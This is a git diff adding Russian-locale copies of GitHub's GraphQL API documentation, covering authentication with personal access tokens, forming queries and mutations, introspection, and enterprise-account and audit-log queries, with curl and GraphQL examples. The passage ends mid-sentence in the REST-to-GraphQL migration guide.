4f74b69ccb0a49c449e9da96229b6ee01580d696 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160239' +--- + diff --git a/translations/ru-RU/content/graphql/README.md b/translations/ru-RU/content/graphql/README.md new file mode 100644 index 000000000000..af047b79e59b --- /dev/null +++ b/translations/ru-RU/content/graphql/README.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: aadf6a8e4452758098031014ad7ade2ca28ac09a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145069752" +--- +# GraphQL + +В каталоге `/content/graphql` находится документация по API GraphQL для GitHub. + +* В каталогах `/content/graphql/guides` и `/content/graphql/overview` содержатся статьи, доступные для редактирования человеком. +* Каталог `/content/graphql/reference` содержит по одной статье для каждого типа данных GraphQL, используемого в API GraphQL для GitHub. Большая часть содержимого этого каталога отображается с помощью тегов `include`. + + Содержимое, отображаемое с помощью тегов `include`, берется из каталога `/lib/graphql/static`, который автоматически создается из исходного кода API внутри GitHub и не должен изменяться человеком. Более подробную информацию см. в разделе [`/lib/graphql/README.md`](/lib/graphql/README.md). + + **Поэтому мы не можем принимать вклады в содержимое справки по API GraphQL в этом репозитории.** diff --git a/translations/ru-RU/content/graphql/guides/forming-calls-with-graphql.md b/translations/ru-RU/content/graphql/guides/forming-calls-with-graphql.md new file mode 100644 index 000000000000..51259302ab80 --- /dev/null +++ b/translations/ru-RU/content/graphql/guides/forming-calls-with-graphql.md @@ -0,0 +1,419 @@ +--- +title: Forming calls with GraphQL +intro: 'Learn how to authenticate to the GraphQL API, then learn how to create and run queries and mutations.' +redirect_from: + - /v4/guides/forming-calls + - /graphql/guides/forming-calls +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +shortTitle: Form calls with GraphQL +--- + +## Authenticating with GraphQL + +{% data reusables.user-settings.graphql-classic-pat-only %} + +To communicate with the GraphQL server, you'll need a {% data variables.product.pat_generic %} with the right scopes. + +Follow the steps in "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)" to create a token. The scopes you require depends on the type of data you're trying to request. For example, select the **User** scopes to request user data. If you need access to repository information, select the appropriate **Repository** scopes. + +{% ifversion fpt or ghec %} + +To match the behavior of the [GraphQL Explorer](/graphql/guides/using-the-explorer), request the following scopes: + +{% else %} + +The following scopes are recommended: + +{% endif %} + + +``` +repo +read:packages +read:org +read:public_key +read:repo_hook +user +read:discussion +read:enterprise +read:gpg_key +``` + +The API notifies you if a resource requires a specific scope. + +## The GraphQL endpoint + +The REST API has numerous endpoints; the GraphQL API has a single endpoint: + +<pre>{% data variables.product.graphql_url_pre %}</pre> + +The endpoint remains constant no matter what operation you perform. + +## Communicating with GraphQL + +Because GraphQL operations consist of multiline JSON, GitHub recommends using the [Explorer](/graphql/guides/using-the-explorer) to make GraphQL calls. You can also use cURL or any other HTTP-speaking library. + +In REST, [HTTP verbs](/rest#http-verbs) determine the operation performed. In GraphQL, you'll provide a JSON-encoded body whether you're performing a query or a mutation, so the HTTP verb is `POST`. The exception is an [introspection query](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api), which is a simple `GET` to the endpoint. For more information on GraphQL versus REST, see "[Migrating from REST to GraphQL](/graphql/guides/migrating-from-rest-to-graphql)." + +To query GraphQL using cURL, make a `POST` request with a JSON payload. The payload must contain a string called `query`: + +```shell +curl -H "Authorization: bearer TOKEN" -X POST -d " \ + { \ + \"query\": \"query { viewer { login }}\" \ + } \ +" {% data variables.product.graphql_url_code %} +``` + +{% tip %} + +**Note**: The string value of `"query"` must escape newline characters or the schema will not parse it correctly. For the `POST` body, use outer double quotes and escaped inner double quotes. + +{% endtip %} + +### About query and mutation operations + +The two types of allowed operations in GitHub's GraphQL API are _queries_ and _mutations_. Comparing GraphQL to REST, queries operate like `GET` requests, while mutations operate like `POST`/`PATCH`/`DELETE`. The [mutation name](/graphql/reference/mutations) determines which modification is executed. + +For information about rate limiting, see "[GraphQL resource limitations](/graphql/overview/resource-limitations)." + +Queries and mutations share similar forms, with some important differences. + +### About queries + +GraphQL queries return only the data you specify. To form a query, you must specify [fields within fields](/graphql/guides/introduction-to-graphql#field) (also known as _nested subfields_) until you return only [scalars](/graphql/reference/scalars). + +Queries are structured like this: + +<pre>query { + JSON-OBJECT-TO-RETURN +}</pre> + +For a real-world example, see "[Example query](#example-query)." + +### About mutations + +To form a mutation, you must specify three things: + +1. _Mutation name_. The type of modification you want to perform. +2. _Input object_. The data you want to send to the server, composed of _input fields_. Pass it as an argument to the mutation name. +3. _Payload object_. The data you want to return from the server, composed of _return fields_. Pass it as the body of the mutation name. + +Mutations are structured like this: + +<pre>mutation { + MUTATION-NAME(input: {MUTATION-NAME-INPUT!}) { + MUTATION-NAME-PAYLOAD + } +}</pre> + +The input object in this example is `MutationNameInput`, and the payload object is `MutationNamePayload`. + +In the [mutations](/graphql/reference/mutations) reference, the listed _input fields_ are what you pass as the input object. The listed _return fields_ are what you pass as the payload object. + +For a real-world example, see "[Example mutation](#example-mutation)." + +## Working with variables + +[Variables](https://graphql.github.io/learn/queries/#variables) can make queries more dynamic and powerful, and they can reduce complexity when passing mutation input objects. + +{% note %} + +**Note**: If you're using the Explorer, make sure to enter variables in the separate [Query Variables pane](/graphql/guides/using-the-explorer#using-the-variable-pane), and do not include the word `variables` before the JSON object. + +{% endnote %} + +Here's an example query with a single variable: + +```graphql +query($number_of_repos:Int!) { + viewer { + name + repositories(last: $number_of_repos) { + nodes { + name + } + } + } +} +variables { + "number_of_repos": 3 +} +``` + +There are three steps to using variables: + +1. Define the variable outside the operation in a `variables` object: + + ```graphql + variables { + "number_of_repos": 3 + } + ``` + + The object must be valid JSON. This example shows a simple `Int` variable type, but it's possible to define more complex variable types, such as input objects. You can also define multiple variables here. + +2. Pass the variable to the operation as an argument: + + ```graphql + query($number_of_repos:Int!){ + ``` + + The argument is a key-value pair, where the key is the _name_ starting with `$` (e.g., `$number_of_repos`), and the value is the _type_ (e.g., `Int`). Add a `!` to indicate whether the type is required. If you've defined multiple variables, include them here as multiple arguments. + +3. Use the variable within the operation: + + ```graphql + repositories(last: $number_of_repos) { + ``` + + In this example, we substitute the variable for the number of repositories to retrieve. We specify a type in step 2 because GraphQL enforces strong typing. + +This process makes the query argument dynamic. We can now simply change the value in the `variables` object and keep the rest of the query the same. + +Using variables as arguments lets you dynamically update values in the `variables` object without changing the query. + +## Example query + +Let's walk through a more complex query and put this information in context. + +The following query looks up the `octocat/Hello-World` repository, finds the 20 most recent closed issues, and returns each issue's title, URL, and first 5 labels: + +```graphql +query { + repository(owner:"octocat", name:"Hello-World") { + issues(last:20, states:CLOSED) { + edges { + node { + title + url + labels(first:5) { + edges { + node { + name + } + } + } + } + } + } + } +} +``` + +Looking at the composition line by line: + +* `query {` + + Because we want to read data from the server, not modify it, `query` is the root operation. (If you don't specify an operation, `query` is also the default.) + +* `repository(owner:"octocat", name:"Hello-World") {` + + To begin the query, we want to find a [`repository`](/graphql/reference/objects#repository) object. The schema validation indicates this object requires an `owner` and a `name` argument. + +* `issues(last:20, states:CLOSED) {` + + To account for all issues in the repository, we call the `issues` object. (We _could_ query a single `issue` on a `repository`, but that would require us to know the number of the issue we want to return and provide it as an argument.) + + Some details about the `issues` object: + + - The [docs](/graphql/reference/objects#repository) tell us this object has the type `IssueConnection`. + - Schema validation indicates this object requires a `last` or `first` number of results as an argument, so we provide `20`. + - The [docs](/graphql/reference/objects#repository) also tell us this object accepts a `states` argument, which is an [`IssueState`](/graphql/reference/enums#issuestate) enum that accepts `OPEN` or `CLOSED` values. To find only closed issues, we give the `states` key a value of `CLOSED`. + +* `edges {` + + We know `issues` is a connection because it has the `IssueConnection` type. To retrieve data about individual issues, we have to access the node via `edges`. + +* `node {` + + Here we retrieve the node at the end of the edge. The [`IssueConnection` docs](/graphql/reference/objects#issueconnection) indicate the node at the end of the `IssueConnection` type is an `Issue` object. + +* Now that we know we're retrieving an `Issue` object, we can look at the [docs](/graphql/reference/objects#issue) and specify the fields we want to return: + + ```graphql + title + url + labels(first:5) { + edges { + node { + name + } + } + } + ``` + + Here we specify the `title`, `url`, and `labels` fields of the `Issue` object. + + The `labels` field has the type [`LabelConnection`](/graphql/reference/objects#labelconnection). As with the `issues` object, because `labels` is a connection, we must travel its edges to a connected node: the `label` object. At the node, we can specify the `label` object fields we want to return, in this case, `name`. + +You may notice that running this query on the Octocat's {% ifversion not ghae %}public{% endif %} `Hello-World` repository won't return many labels. Try running it on one of your own repositories that does use labels, and you'll likely see a difference. + +## Example mutation + +Mutations often require information that you can only find out by performing a query first. This example shows two operations: + +1. A query to get an issue ID. +2. A mutation to add an emoji reaction to the issue. + +```graphql +query FindIssueID { + repository(owner:"octocat", name:"Hello-World") { + issue(number:349) { + id + } + } +} + +mutation AddReactionToIssue { + addReaction(input:{subjectId:"MDU6SXNzdWUyMzEzOTE1NTE=",content:HOORAY}) { + reaction { + content + } + subject { + id + } + } +} +``` + +{% tip %} + +Although you can include a query and a mutation in the same Explorer window if you give them names (`FindIssueID` and `AddReactionToIssue` in this example), the operations will be executed as separate calls to the GraphQL endpoint. It's not possible to perform a query at the same time as a mutation, or vice versa. + +{% endtip %} + +Let's walk through the example. The task sounds simple: add an emoji reaction to an issue. + +So how do we know to begin with a query? We don't, yet. + +Because we want to modify data on the server (attach an emoji to an issue), we begin by searching the schema for a helpful mutation. The reference docs show the [`addReaction`](/graphql/reference/mutations#addreaction) mutation, with this description: `Adds a reaction to a subject.` Perfect! + +The docs for the mutation list three input fields: + +* `clientMutationId` (`String`) +* `subjectId` (`ID!`) +* `content` (`ReactionContent!`) + +The `!`s indicate that `subjectId` and `content` are required fields. A required `content` makes sense: we want to add a reaction, so we'll need to specify which emoji to use. + +But why is `subjectId` required? It's because the `subjectId` is the only way to identify _which_ issue in _which_ repository to react to. + +This is why we start this example with a query: to get the `ID`. + +Let's examine the query line by line: + +* `query FindIssueID {` + + Here we're performing a query, and we name it `FindIssueID`. Note that naming a query is optional; we give it a name here so that we can include it in same Explorer window as the mutation. + +* `repository(owner:"octocat", name:"Hello-World") {` + + We specify the repository by querying the `repository` object and passing `owner` and `name` arguments. + +* `issue(number:349) {` + + We specify the issue to react to by querying the `issue` object and passing a `number` argument. + +* `id` + + This is where we retrieve the `id` of `https://github.com/octocat/Hello-World/issues/349` to pass as the `subjectId`. + +When we run the query, we get the `id`: `MDU6SXNzdWUyMzEzOTE1NTE=` + +{% tip %} + +**Note**: The `id` returned in the query is the value we'll pass as the `subjectID` in the mutation. Neither the docs nor schema introspection will indicate this relationship; you'll need to understand the concepts behind the names to figure this out. + +{% endtip %} + +With the ID known, we can proceed with the mutation: + +* `mutation AddReactionToIssue {` + + Here we're performing a mutation, and we name it `AddReactionToIssue`. As with queries, naming a mutation is optional; we give it a name here so we can include it in the same Explorer window as the query. + +* `addReaction(input:{subjectId:"MDU6SXNzdWUyMzEzOTE1NTE=",content:HOORAY}) {` + + Let's examine this line: + + - `addReaction` is the name of the mutation. + - `input` is the required argument key. This will always be `input` for a mutation. + - `{subjectId:"MDU6SXNzdWUyMzEzOTE1NTE=",content:HOORAY}` is the required argument value. This will always be an [input object](/graphql/reference/input-objects) (hence the curly braces) composed of input fields (`subjectId` and `content` in this case) for a mutation. + + How do we know which value to use for the content? The [`addReaction` docs](/graphql/reference/mutations#addreaction) tell us the `content` field has the type [`ReactionContent`](/graphql/reference/enums#reactioncontent), which is an [enum](/graphql/reference/enums) because only certain emoji reactions are supported on GitHub issues. These are the allowed values for reactions (note some values differ from their corresponding emoji names): + + {% data reusables.repositories.reaction_list %} + +* The rest of the call is composed of the payload object. This is where we specify the data we want the server to return after we've performed the mutation. These lines come from the [`addReaction` docs](/graphql/reference/mutations#addreaction), which three possible return fields: + + - `clientMutationId` (`String`) + - `reaction` (`Reaction!`) + - `subject` (`Reactable!`) + + In this example, we return the two required fields (`reaction` and `subject`), both of which have required subfields (respectively, `content` and `id`). + +When we run the mutation, this is the response: + +```json +{ + "data": { + "addReaction": { + "reaction": { + "content": "HOORAY" + }, + "subject": { + "id": "MDU6SXNzdWUyMTc5NTQ0OTc=" + } + } + } +} +``` + +That's it! Check out your [reaction to the issue](https://github.com/octocat/Hello-World/issues/349) by hovering over the :tada: to find your username. + +One final note: when you pass multiple fields in an input object, the syntax can get unwieldy. Moving the fields into a [variable](#working-with-variables) can help. Here's how you could rewrite the original mutation using a variable: + +```graphql +mutation($myVar:AddReactionInput!) { + addReaction(input:$myVar) { + reaction { + content + } + subject { + id + } + } +} +variables { + "myVar": { + "subjectId":"MDU6SXNzdWUyMTc5NTQ0OTc=", + "content":"HOORAY" + } +} +``` + +{% note %} + +You may notice that the `content` field value in the earlier example (where it's used directly in the mutation) does not have quotes around `HOORAY`, but it does have quotes when used in the variable. There's a reason for this: +* When you use `content` directly in the mutation, the schema expects the value to be of type [`ReactionContent`](/graphql/reference/enums#reactioncontent), which is an _enum_, not a string. Schema validation will throw an error if you add quotes around the enum value, as quotes are reserved for strings. +* When you use `content` in a variable, the variables section must be valid JSON, so the quotes are required. Schema validation correctly interprets the `ReactionContent` type when the variable is passed into the mutation during execution. + +For more information on the difference between enums and strings, see the [official GraphQL spec](https://graphql.github.io/graphql-spec/June2018/#sec-Enums). + +{% endnote %} + +## Further reading + +There is a _lot_ more you can do when forming GraphQL calls. Here are some places to look next: + +* [Pagination](https://graphql.org/learn/pagination/) +* [Fragments](https://graphql.org/learn/queries/#fragments) +* [Inline fragments](https://graphql.org/learn/queries/#inline-fragments) +* [Directives](https://graphql.org/learn/queries/#directives) diff --git a/translations/ru-RU/content/graphql/guides/index.md b/translations/ru-RU/content/graphql/guides/index.md new file mode 100644 index 000000000000..22bbefd9a81c --- /dev/null +++ b/translations/ru-RU/content/graphql/guides/index.md @@ -0,0 +1,29 @@ +--- +title: Guides +intro: 'Узнайте о том, как начать работу с GraphQL, выполнить миграцию из REST в GraphQL и использовать API GraphQL GitHub для различных задач.' +redirect_from: + - /v4/guides +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +children: + - /introduction-to-graphql + - /forming-calls-with-graphql + - /using-global-node-ids + - /migrating-from-rest-to-graphql + - /using-the-explorer + - /managing-enterprise-accounts + - /using-the-graphql-api-for-discussions + - /migrating-graphql-global-node-ids +ms.openlocfilehash: a87c50bc652766b8a23845ea1ace011c41da5131 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145069745' +--- + diff --git a/translations/ru-RU/content/graphql/guides/introduction-to-graphql.md b/translations/ru-RU/content/graphql/guides/introduction-to-graphql.md new file mode 100644 index 000000000000..8459cf109f8f --- /dev/null +++ b/translations/ru-RU/content/graphql/guides/introduction-to-graphql.md @@ -0,0 +1,143 @@ +--- +title: Introduction to GraphQL +intro: Learn useful terminology and concepts for using the GitHub GraphQL API. +redirect_from: + - /v4/guides/intro-to-graphql + - /graphql/guides/intro-to-graphql +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +--- + +## GraphQL terminology + +The GitHub GraphQL API represents an architectural and conceptual shift from the GitHub REST API. You will likely encounter some new terminology in the GraphQL API [reference docs](/graphql). + +## Schema + +A schema defines a GraphQL API's type system. It describes the complete set of possible data (objects, fields, relationships, everything) that a client can access. Calls from the client are [validated](https://graphql.github.io/learn/validation/) and [executed](https://graphql.github.io/learn/execution/) against the schema. A client can find information about the schema via [introspection](#discovering-the-graphql-api). A schema resides on the GraphQL API server. For more information, see "[Discovering the GraphQL API](#discovering-the-graphql-api)." + +## Field + +A field is a unit of data you can retrieve from an object. As the [official GraphQL docs](https://graphql.github.io/learn/schema/) say: +"The GraphQL query language is basically about selecting fields on objects." + +The [official spec](https://graphql.github.io/graphql-spec/June2018/#sec-Language.Fields) also says about fields: + +> All GraphQL operations must specify their selections down to fields which return scalar values to ensure an unambiguously shaped response. + +This means that if you try to return a field that is not a scalar, schema validation will throw an error. You must add nested subfields until all fields return scalars. + +## Argument + +An argument is a set of key-value pairs attached to a specific field. Some fields require an argument. [Mutations](/graphql/guides/forming-calls-with-graphql#about-mutations) require an input object as an argument. + +## Implementation + +A GraphQL schema may use the term _implements_ to define how an object inherits from an [interface](/graphql/reference/interfaces). + +Here's a contrived example of a schema that defines interface `X` and object `Y`: + +``` +interface X { + some_field: String! + other_field: String! +} + +type Y implements X { + some_field: String! + other_field: String! + new_field: String! +} +``` + +This means object `Y` requires the same fields/arguments/return types that interface `X` does, while adding new fields specific to object `Y`. (The `!` means the field is required.) + +In the reference docs, you'll find that: + +* Each [object](/graphql/reference/objects) lists the interface(s) _from which it inherits_ under **Implements**. + +* Each [interface](/graphql/reference/interfaces) lists the objects _that inherit from it_ under **Implementations**. + +## Connection + +Connections let you query related objects as part of the same call. With connections, you can use a single GraphQL call where you would have to use multiple calls to a REST API. For more information, see "[Migrating from REST to GraphQL](/graphql/guides/migrating-from-rest-to-graphql)." + +It's helpful to picture a graph: dots connected by lines. The dots are nodes, the lines are edges. A connection defines a relationship between nodes. + +## Edge + +Edges represent connections between nodes. When you query a connection, you traverse its edges to get to its nodes. Every `edges` field has a `node` field and a `cursor` field. Cursors are used for [pagination](https://graphql.github.io/learn/pagination/). + +## Node + +_Node_ is a generic term for an object. You can look up a node directly, or you can access related nodes via a connection. If you specify a `node` that does not return a [scalar](/graphql/reference/scalars), you must include subfields until all fields return scalars. For information on accessing node IDs via the REST API and using them in GraphQL queries, see "[Using Global Node IDs](/graphql/guides/using-global-node-ids)." + +## Discovering the GraphQL API + +GraphQL is [introspective](https://graphql.github.io/learn/introspection/). This means you can query a GraphQL schema for details about itself. + +* Query `__schema` to list all types defined in the schema and get details about each: + + ```graphql + query { + __schema { + types { + name + kind + description + fields { + name + } + } + } + } + ``` + +* Query `__type` to get details about any type: + + ```graphql + query { + __type(name: "Repository") { + name + kind + description + fields { + name + } + } + } + ``` + +* You can also run an _introspection query_ of the schema via a `GET` request: + + ```shell + $ curl -H "Authorization: bearer TOKEN" {% data variables.product.graphql_url_pre %} + ``` + + {% note %} + + **Note**: If you get the response `"message": "Bad credentials"` or `401 Unauthorized`, check that you are using a valid token. The GraphQL API only supports authentication using a {% data variables.product.pat_v1 %}. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." + + {% endnote %} + + The results are in JSON, so we recommend pretty-printing them for easier reading and searching. You can use a command-line tool like [jq](https://stedolan.github.io/jq/) or pipe the results into `python -m json.tool` for this purpose. + + Alternatively, you can pass the `idl` media type to return the results in IDL format, which is a condensed version of the schema: + + ```shell + $ curl -H "Authorization: bearer TOKEN" -H "Accept: application/vnd.github.v4.idl" \ + {% data variables.product.graphql_url_pre %} + ``` + + {% note %} + + **Note**: The introspection query is probably the only `GET` request you'll run in GraphQL. If you're passing a body, the GraphQL request method is `POST`, whether it's a query or a mutation. + + {% endnote %} + + For more information about performing queries, see "[Forming calls with GraphQL](/graphql/guides/forming-calls-with-graphql)." diff --git a/translations/ru-RU/content/graphql/guides/managing-enterprise-accounts.md b/translations/ru-RU/content/graphql/guides/managing-enterprise-accounts.md new file mode 100644 index 000000000000..354bd50661bf --- /dev/null +++ b/translations/ru-RU/content/graphql/guides/managing-enterprise-accounts.md @@ -0,0 +1,300 @@ +--- +title: Managing enterprise accounts +intro: You can manage your enterprise account and the organizations it owns with the GraphQL API. +redirect_from: + - /v4/guides/managing-enterprise-accounts +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +shortTitle: Manage enterprise accounts +--- + +## About managing enterprise accounts with GraphQL + +To help you monitor and make changes in your organizations and maintain compliance, you can use the Enterprise Accounts API and the Audit Log API, which are only available as GraphQL APIs. + +The enterprise account endpoints work for both GitHub Enterprise Cloud and for GitHub Enterprise Server. + +GraphQL allows you to request and return just the data you specify. For example, you can create a GraphQL query, or request for information, to see all the new organization members added to your organization. Or you can make a mutation, or change, to invite an administrator to your enterprise account. + +With the Audit Log API, you can monitor when someone: +- Accesses your organization or repository settings. +- Changes permissions. +- Adds or removes users in an organization, repository, or team. +- Promotes users to admin. +- Changes permissions of a GitHub App. + +The Audit Log API enables you to keep copies of your audit log data. For queries made with the Audit Log API, the GraphQL response can include data for up to 90 to 120 days. For a list of the fields available with the Audit Log API, see the "[AuditEntry interface](/graphql/reference/interfaces#auditentry/)." + +With the Enterprise Accounts API, you can: +- List and review all of the organizations and repositories that belong to your enterprise account. +- Change Enterprise account settings. +- Configure policies for settings on your enterprise account and its organizations. +- Invite administrators to your enterprise account. +- Create new organizations in your enterprise account. + +For a list of the fields available with the Enterprise Accounts API, see "[GraphQL fields and types for the Enterprise account API](/graphql/guides/managing-enterprise-accounts#graphql-fields-and-types-for-the-enterprise-accounts-api)." + +## Getting started using GraphQL for enterprise accounts + +Follow these steps to get started using GraphQL to manage your enterprise accounts: + - Authenticating with a {% data variables.product.pat_generic %} + - Choosing a GraphQL client or using the GraphQL Explorer + - Setting up Insomnia to use the GraphQL API + +For some example queries, see "[An example query using the Enterprise Accounts API](#an-example-query-using-the-enterprise-accounts-api)." + +### 1. Authenticate with your {% data variables.product.pat_generic %} + +{% data reusables.user-settings.graphql-classic-pat-only %} + +1. To authenticate with GraphQL, you need to generate a {% data variables.product.pat_generic %} from developer settings. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." + +2. Grant admin and full control permissions to your {% data variables.product.pat_generic %} for areas of GHES you'd like to access. For full permission to private repositories, organizations, teams, user data, and access to enterprise billing and profile data, we recommend you select these scopes for your {% data variables.product.pat_generic %}: + - `repo` + - `admin:org` + - `user` + - `admin:enterprise` + + The enterprise account specific scopes are: + - `admin:enterprise`: Gives full control of enterprises (includes `manage_runners:enterprise`, `manage_billing:enterprise` and `read:enterprise`) + - `manage_billing:enterprise`: Read and write enterprise billing data.{% ifversion ghes or ghae %} + - `manage_runners:enterprise`: Access to manage GitHub Actions enterprise runners and runner-groups.{% endif %} + - `read:enterprise`: Read enterprise profile data. + +3. Copy your {% data variables.product.pat_generic %} and keep it in a secure place until you add it to your GraphQL client. + +### 2. Choose a GraphQL client + +We recommend you use GraphiQL or another standalone GraphQL client that lets you configure the base URL. + +You may also consider using these GraphQL clients: + - [Insomnia](https://support.insomnia.rest/article/176-graphql-queries) + - [GraphiQL](https://www.gatsbyjs.org/docs/running-queries-with-graphiql/) + - [Postman](https://learning.getpostman.com/docs/postman/sending_api_requests/graphql/) + +The next steps will use Insomnia. + +### 3. Setting up Insomnia to use the GitHub GraphQL API with enterprise accounts + +1. Add the base url and `POST` method to your GraphQL client. When using GraphQL to request information (queries), change information (mutations), or transfer data using the GitHub API, the default HTTP method is `POST` and the base url follows this syntax: + - For your enterprise instance: `https://<HOST>/api/graphql` + - For GitHub Enterprise Cloud: `https://api.github.com/graphql` + +2. To authenticate, open the authentication options menu and select **Bearer token**. Next, add your {% data variables.product.pat_generic %} that you copied earlier. + + ![Permissions options for {% data variables.product.pat_generic %}](/assets/images/developer/graphql/insomnia-base-url-and-pat.png) + + ![Permissions options for {% data variables.product.pat_generic %}](/assets/images/developer/graphql/insomnia-bearer-token-option.png) + +3. Include header information. + - Add `Content-Type` as the header and `application/json` as the value. + ![Standard header](/assets/images/developer/graphql/json-content-type-header.png) + ![Header with preview value for the Audit Log API](/assets/images/developer/graphql/preview-header-for-2.18.png) + +Now you are ready to start making queries. + +## An example query using the Enterprise Accounts API + +This GraphQL query requests the total number of {% ifversion not ghae %}`public`{% else %}`private`{% endif %} repositories in each of your appliance's organizations using the Enterprise Accounts API. To customize this query, replace `<enterprise-account-name>` with the handle for your enterprise account. For example, if your enterprise account is located at `https://github.com/enterprises/octo-enterprise`, replace `<enterprise-account-name>` with `octo-enterprise`. + +{% ifversion not ghae %} + +```graphql +query publicRepositoriesByOrganization($slug: String!) { + enterprise(slug: $slug) { + ...enterpriseFragment + } +} + +fragment enterpriseFragment on Enterprise { + ... on Enterprise{ + name + organizations(first: 100){ + nodes{ + name + ... on Organization{ + name + repositories(privacy: PUBLIC){ + totalCount + } + } + } + } + } +} + +# Passing our Enterprise Account as a variable +variables { + "slug": "<enterprise-account-name>" +} +``` + +{% else %} + +```graphql +query privateRepositoriesByOrganization($slug: String!) { + enterprise(slug: $slug) { + ...enterpriseFragment + } +} + +fragment enterpriseFragment on Enterprise { + ... on Enterprise{ + name + organizations(first: 100){ + nodes{ + name + ... on Organization{ + name + repositories(privacy: PRIVATE){ + totalCount + } + } + } + } + } +} + +# Passing our Enterprise Account as a variable +variables { + "slug": "<enterprise-account-name>" +} +``` +{% endif %} + +The next GraphQL query example shows how challenging it is to retrieve the number of {% ifversion not ghae %}`public`{% else %}`private`{% endif %} repositories in each organization without using the Enterprise Account API. Notice that the GraphQL Enterprise Accounts API has made this task simpler for enterprises since you only need to customize a single variable. To customize this query, replace `<name-of-organization-one>` and `<name-of-organization-two>`, etc. with the organization names on your instance. + +{% ifversion not ghae %} +```graphql +# Each organization is queried separately +{ + organizationOneAlias: organization(login: "nameOfOrganizationOne") { + # How to use a fragment + ...repositories + } + organizationTwoAlias: organization(login: "nameOfOrganizationTwo") { + ...repositories + } + # organizationThreeAlias ... and so on up-to lets say 100 +} + +## How to define a fragment +fragment repositories on Organization { + name + repositories(privacy: PUBLIC){ + totalCount + } +} +``` +{% else %} +```graphql +# Each organization is queried separately +{ + organizationOneAlias: organization(login: "name-of-organization-one") { + # How to use a fragment + ...repositories + } + organizationTwoAlias: organization(login: "name-of-organization-two") { + ...repositories + } + # organizationThreeAlias ... and so on up-to lets say 100 +} + +## How to define a fragment +fragment repositories on Organization { + name + repositories(privacy: PRIVATE){ + totalCount + } +} +``` +{% endif %} + +## Query each organization separately + +{% ifversion not ghae %} + +```graphql +query publicRepositoriesByOrganization { + organizationOneAlias: organization(login: "<name-of-organization-one>") { + # How to use a fragment + ...repositories + } + organizationTwoAlias: organization(login: "<name-of-organization-two>") { + ...repositories + } + # organizationThreeAlias ... and so on up-to lets say 100 +} +# How to define a fragment +fragment repositories on Organization { + name + repositories(privacy: PUBLIC){ + totalCount + } +} +``` + +{% else %} + +```graphql +query privateRepositoriesByOrganization { + organizationOneAlias: organization(login: "<name-of-organization-one>") { + # How to use a fragment + ...repositories + } + organizationTwoAlias: organization(login: "<name-of-organization-two>") { + ...repositories + } + # organizationThreeAlias ... and so on up-to lets say 100 +} +# How to define a fragment +fragment repositories on Organization { + name + repositories(privacy: PRIVATE){ + totalCount + } +} +``` + +{% endif %} + +This GraphQL query requests the last 5 log entries for an enterprise organization. To customize this query, replace `<org-name>` and `<user-name>`. + +```graphql +{ + organization(login: "<org-name>") { + auditLog(last: 5, query: "actor:<user-name>") { + edges { + node { + ... on AuditEntry { +# Get Audit Log Entry by 'Action' + action + actorLogin + createdAt +# User 'Action' was performed on + user{ + name + email + } + } + } + } + } + } +} +``` + +For more information about getting started with GraphQL, see "[Introduction to GraphQL](/graphql/guides/introduction-to-graphql)" and "[Forming Calls with GraphQL](/graphql/guides/forming-calls-with-graphql)." + +## GraphQL fields and types for the Enterprise Accounts API + +Here's an overview of the new queries, mutations, and schema defined types available for use with the Enterprise Accounts API. + +For more details about the new queries, mutations, and schema defined types available for use with the Enterprise Accounts API, see the sidebar with detailed GraphQL definitions from any [GraphQL reference page](/graphql). + +You can access the reference docs from within the GraphQL explorer on GitHub. For more information, see "[Using the explorer](/graphql/guides/using-the-explorer#accessing-the-sidebar-docs)." +For other information, such as authentication and rate limit details, check out the [guides](/graphql/guides). diff --git a/translations/ru-RU/content/graphql/guides/migrating-from-rest-to-graphql.md b/translations/ru-RU/content/graphql/guides/migrating-from-rest-to-graphql.md new file mode 100644 index 000000000000..c79e645a4857 --- /dev/null +++ b/translations/ru-RU/content/graphql/guides/migrating-from-rest-to-graphql.md @@ -0,0 +1,215 @@ +--- +title: Migrating from REST to GraphQL +intro: 'Learn best practices and considerations for migrating from {% data variables.product.prodname_dotcom %}''s REST API to {% data variables.product.prodname_dotcom %}''s GraphQL API.' +redirect_from: + - /v4/guides/migrating-from-rest + - /graphql/guides/migrating-from-rest +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +shortTitle: Migrate from REST to GraphQL +--- + +## Differences in API logic + +{% data variables.product.company_short %} provides two APIs: a REST API and a GraphQL API. For more information about {% data variables.product.company_short %}'s APIs, see "[About {% data variables.product.company_short %}'s APIs](/developers/overview/about-githubs-apis)." + +Migrating from REST to GraphQL represents a significant shift in API logic. The differences between REST as a style and GraphQL as a specification make it difficult—and often undesirable—to replace REST API calls with GraphQL API queries on a one-to-one basis. We've included specific examples of migration below. + +To migrate your code from the [REST API](/rest) to the GraphQL API: + +- Review the [GraphQL spec](https://graphql.github.io/graphql-spec/June2018/) +- Review GitHub's [GraphQL schema](/graphql/reference) +- Consider how any existing code you have currently interacts with the GitHub REST API +- Use [Global Node IDs](/graphql/guides/using-global-node-ids) to reference objects between API versions + +Significant advantages of GraphQL include: + +- [Getting the data you need and nothing more](#example-getting-the-data-you-need-and-nothing-more) +- [Nested fields](#example-nesting) +- [Strong typing](#example-strong-typing) + +Here are examples of each. + +## Example: Getting the data you need and nothing more + +A single REST API call retrieves a list of your organization's members: +```shell +curl -v {% data variables.product.api_url_pre %}/orgs/:org/members +``` + +The REST payload contains excessive data if your goal is to retrieve only member names and links to 